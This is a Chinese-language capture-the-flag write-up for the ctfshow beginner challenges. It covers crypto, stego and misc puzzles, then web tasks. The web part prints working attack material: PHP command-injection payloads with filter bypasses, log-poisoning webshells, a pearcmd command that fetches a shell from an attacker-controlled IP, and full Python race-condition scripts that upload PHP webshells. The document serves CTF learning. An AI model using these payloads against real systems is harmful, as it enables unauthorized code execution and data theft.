萌新认证
直接群里:萌新码就ok
萌新_密码1
无F大概率base16,尝试解密
解密完发现还是密文,感觉是base64,再解密
发现KEY和{},考虑为栅栏密码
解出key
萌新_密码2
键盘密码可能是,查看键盘位置,发现这几位都中间的数字为fwy,解出密码
萌新 密码3
看到是摩斯密码进行解密
得到字母,但不是flag,看到作者名字是培根,想到了培根密码,将A替换m,B替换d,AABBABABAAABBBABABBAAAAAAABBABAABBA得到,进行解密得到guowang,改为大写提交flag成功
萌新 隐写2
下载压缩包,提示为90后那密码可能为199******
使用ARCHPR进行爆破,得到密码为19981000
解压文件得到flag
萌新 隐写4
下载文件,打开发现是个图片
猜测flag内容被隐藏,设置里尝试打开隐藏文字看看
发现flag
萌新 密码#4
比base64还大那就是base85,先用64解码
再用85解码,发现少了一些,猜测也为base,flag应该为{base_base_base},尝试提交结果对的
萌新 隐写3
这题很简单,打开就能看到flag
杂项1
md5
解密得到helloctf,减去ctf,得到flag
杂项2
下载发现没什么,信息,就是张图片
将后缀改为txt查看,得到flag
杂项3
银行卡密码一般为六位数字,猜测密码为971015(生日加名字),提交还真是
杂项4![](https://img-blog.csdnimg.cn/1986b283a43d47f38386d1d910e1ed60.png)
用工具暴力破解,得到flag
杂项5
下载文件后,发现是个txt,没有flag,但包含了{},可能flag存在于{}中
有大小写的区别,将大写字母拼接,作为flag提交,成功
杂项6
压缩包伪密码,用winhex打开,将504b0102后的0009改为0000,就可无密码解压,得到flag
杂项7
图片长一点,那就修改它的高度,将0185改为0385
得到flag
杂项8
瘦一点,那就更改图片的宽
得到flag
杂项10
好抽象的题,我600度眼睛勉强看清(
flag{我好喜欢你}
杂项11
用给的工具打开图片然后seek
将导出的文件用txt查看,发现是png
改为png,发现是个二维码,扫描转到ctfshow官网没啥东西,用QB扫描下,得到类似base64的编码
解码,得到flag(什么flag笑死)
隐写1
打开下载文件,发现打不开
winhex查看,发现头不对,png应该为89504e47,修改得到flag
隐写2
下载完的图片,放到JPhswin,seek后,改为txt文件,查看得到flag
萌新隐写5
打开txt发现这串字符,尝试用unicode
得到编码
16进制转字符串,发现像某种base编码,经过测试为base32
解码得flag
萌新隐写6
下载完发现是一个音频文件,用au打开,发现一段长短波,考虑为摩斯(-- ..- --.. .. -.- .. ... --. ----- ----- -..)
解码得到flag
web1
查看代码,发现当id=1000得时候得到flag但是大于999的时候会id error,所以尝试构造绕过
使用相乘绕过,得到flag
web2
这次增加了过滤,但还是可以100*10绕过
web3
发现过滤了更多符号和十六进制,但是还是可以相乘绕过
web4
这次过滤了更多,也过滤了乘号,但是可以单引号绕过
web5
过滤了很多东西又,单引号也过滤了,但是发现没有过滤~,可以使用~~二次取反绕过
web6
增加了过滤,但是还是可以二进制或者二次取反绕过
web7
这次过滤了~,但是没有过滤二进制,使用二进制绕过
web8
emm,没什么提示,偷偷看看大神,发现是个脑洞。。删库跑路绷不住了
web9
看代码,发现存在命令执行漏洞,尝试构造得到flag,使用system(“cat config,php”),f12看源码得到flag
web10
em,前面的执行函数被过滤,使用其它命令执行函数passthru(“cat config.php”)
web11
哦吼,对cat进行过滤了,但无所谓反正还可以more less tail 等读取文件,也可以ca/t绕过
构造 passthru(“less config.php”)
web12
config和php被过滤,但是可以进行编码base64编码绕过,并且采用拼接的方式
?c=$a=base64_decode("c3lzdGVt");$b=base64_decode("Y2F0IGNvbmZpZy5waHA=");$a($b);
web13
过滤了分号,那就使用?c=passthru(base64_decode(%27Y2F0IGNvbmZpZy5waHA=%27))?%3E
用?>代替;
在php中可以用?>来代替最后的一个;,因为php遇到定界符关闭标签会自动在末尾加上一个分号。
web14
题目过滤了括号,采用%3e 和& 拼接命令绕过
?c=echo%20`$_REQUEST[a]`?%3E&a=cat%20config.php
web15
对等于进行了过滤,使用include $_GET[a];&a=php://filter/read=convert.base64-encode/resource=config.php
来读取文件吧,然后将得到的密文解密
web16
解密md5,观察代码发现传参的时候是ctfshow+$c所以$c=36d,得到flag
web17
可能是文件包含漏洞?
抓包重放,发现响应中又nginx,可能存在默认日志路径/var/log/nginx/access.log或者
/var/log/nginx/error.log
访问网站?c=/var/log/nginx/access.log,抓包发现user-agent头,构造一句话木马
<?php system('ls'); ?>; 查看文件,发现有个36d.php <?php highlight_file('36d.php'); ?>高亮显示得到flag
web18
加了过滤,但是原理和17相同应该,同样方法试试,发现可以
web19-21同理
web22
参考了一些其它文章,以下是解题思路
vps开简单的http服务并且写一个一句话木马
构造?c=pearcmd&+download+http://ip:6666/shell.php
下载该shell后切换到shell.php,执行命令test=system(’ls’);然后读取flag test=system(‘grep flag 36d.php’);
参考:https://blog.csdn.net/qq_46041723/article/details
获得百分之百的快乐
?1=ls直接执行命令了
1.创建一个空文件
?1=>nl
2.查看文件,发现nl文件存在
?1=ls
3.获取flag
?1=*
web23&web24
发现上传文件连不到后,想到竞争,这里借用大佬代码(萌新计划23/24 - CTFshow WP),跑下目录得到结果
import requests,time,threading
subaddr = "http://db365737-a2e3-4ce6-867f-f2a5f27e5fbd.challenge.ctf.show/"
def newThread(fun,*args):
return threading.Thread(target=fun, args=args)
def execphp(fname):
r = requests.get(subaddr + "uploads/" + fname + ".php")
x = r.text
if len(x) > 0 and "404 Not Found" not in x and "容器已过期" not in x:
print(x)
def check(fname):
for i in range(100,400):
# 每个文件名单起一个线程
newThread(execphp, fname + str(i)).start()
def upload():
while True:
file_data = {'file':('anything.php',"<?php system(\"ls -l ../\");?>".encode())}
r = requests.post(subaddr+"upload.php",files=file_data)
txt = r.text
print("uploaded:",txt)
# 用本次的文件名推算下一次的文件名,相差sleep一次的时间间隔
ts = int(time.mktime(time.strptime(txt[8:22], "%Y%m%d%H%M%S")))
fname = time.strftime("%Y%m%d%H%M%S", time.localtime(ts + 1))
# 单起一个线程,爆破下一次upload的文件名
newThread(check, fname).start()
if __name__ == '__main__':
upload()
然后将指令改为<?php system(\"tac ../flaghere0.txt\");?>再跑一下得到flag
24是将时间缩短了,那么把源码的参数换成rand(0,300)和sleep(3)
# coding: utf-8
# Auth: y2hlbmc
import requests
import time
import threading
url = "http://b4359d63-6487-448d-8aaa-3f4723146ad4.challenge.ctf.show/"
def Thread(fun, *args):
return threading.Thread(target=fun, args=args)
def req(fname):
r = requests.get(url + "uploads/" + fname + ".php")
x = r.text
if len(x) > 0 and "404 Not Found" not in x and "容器已过期" not in x:
print(x)
def Thread_start(fname):
for i in range(0, 300):
# 每个文件名单起一个线程
Thread(req, fname + str(i)).start()
def upload():
while True:
file_data = {'file': ('shell.php', "<?php system(\"tac ../flaghere0.txt\");?>".encode())}
r = requests.post(url + "upload.php", files=file_data)
txt = r.text
print("uploaded:", txt)
# 用本次的文件名推算下一次的文件名,相差sleep一次的时间间隔
ts = int(time.mktime(time.strptime(txt[8:22], "%Y%m%d%H%M%S")))
fname = time.strftime("%Y%m%d%H%M%S", time.localtime(ts + 3))
# 单起一个线程,爆破下一次upload的文件名
Thread(Thread_start, fname).start()
if __name__ == '__main__':
upload()
就此,终于完成了萌新挑战/(ㄒoㄒ)/~~